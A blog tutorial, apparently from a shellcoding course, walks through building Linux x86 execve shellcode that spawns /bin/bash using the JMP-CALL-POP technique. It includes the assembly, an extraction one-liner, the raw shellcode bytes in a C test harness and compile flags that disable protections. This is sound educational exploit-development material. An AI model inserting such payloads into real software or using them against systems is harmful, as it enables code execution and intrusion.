Shellcoding Linux x86 JMP-CALL-POP technique (2/3)

Following the last article content, we are going to pop a shell instead of printing Hello World in the screen. To do this we are going to use the Execve syscall. This syscall allows us to execute a new program within the shellcode.

Using man execve we can see what parameters does it need.

As you see in the man image, it needs 3 parameters:

  • Parameter 1: Filename: “/bin/bash”, 0x0
  • Parameter 2: Address of /bin/bash, 0x00000000
  • Parameter 3: 0x00000000

If you followed the last post of this blog, you already know what is the JMP-CALL-POP technique. In this case we are going to use it, just to be clear I copy below just the part of the shellcode that is using that technique.

global _start			

section .text
_start:
	jmp short call_shellcode

shellcode:
	pop esi
        ...

call_shellcode:
	call shellcode	
	; A=0 B=address of /bin/bash C=0x00000000
	message db "/bin/bashABBBBCCCC"

Before continuing with the shellcode creation, I’m going to stop here, to remember some Assembly instructions that are going to be useful in this particular case.

mov eax, message ; move address into eax
mov eax, [message] ; move value into eax
mov dword [esi, +10], bl ; move from register into memory starting in position 10
; lea = load efective address = load pointer value
lea ebx, [esi]

Now that we already have a clear scheme of JMP-CALL-POP technique and we refreshed some Assembly instructions, let’s focus in understand how we are going to modify the message string to contain what we need.

We need to modify 3 parts, the A, the BBBB and the CCCC.

1) Convert A into 0x0

xor ebx, ebx
mov byte [esi +9], bl

2) Convert BBBB to address of “/bin/bash” = ESI

; mov dword because is an address
mov dword [esi +10], esi

3) Convert CCCC into 0x00000000

mov dword [esi +14], ebx

Now that we have our message string already prepared, we need to prepare EAX, EBX, ECX and EDX to be able to run execve syscall.

4) EBX must contain the filename

lea ebx, [esi]

5) ECX should be the address of /bin/bash

lea ecx, [esi +10]

6) EDX is null

lea edx, [esi +14]

7) EAX has to contain the syscall number. We can check it in this file:

So EAX needs to be 11, 0xb in hexadecimal

xor eax, eax
mov al, 0xb

The final thing is to invoke the syscall using 0x80. In this call we don’t need to use an exit syscall, it’s exlained in the man page of execve.

Here is the final code:

; Filename: execve.nasm
; Author:  Vivek Ramachandran
; Website:  https://www.pentesteracademy.com
; Student: Xavi Bel

global _start			

section .text
_start:
	jmp short call_shellcode

shellcode:
	pop esi

	xor ebx, ebx
	mov byte [esi +9], bl
	mov dword [esi +10], esi
	mov dword [esi +14], ebx

	lea ebx, [esi]
	lea ecx, [esi +10]
	lea edx, [esi +14]
	xor eax, eax
	mov al, 0xb
	int 0x80

call_shellcode:
	call shellcode	
	; A=0 B=address of /bin/bash C=0x00000000
	message db "/bin/bashABBBBCCCC"

We extract the shellcode using objdump with the beautiful greps and seds command:

objdump -d ./execve|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

We put the shellcode inside this little c program:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x1a\x5e\x31\xdb\x88\x5e\x09\x89\x76\x0a\x89\x5e\x0e\x8d\x1e\x8d\x4e\x0a\x8d\x56\x0e\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

And we compile it:

gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Finally, when we execute it, we are generating another /bin/bash process.

Doing a small modification of the code, when can use /bin/sh instead:

I hope you liked it. See you!

This entry was posted in Exploiting and tagged , , , , , , , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published.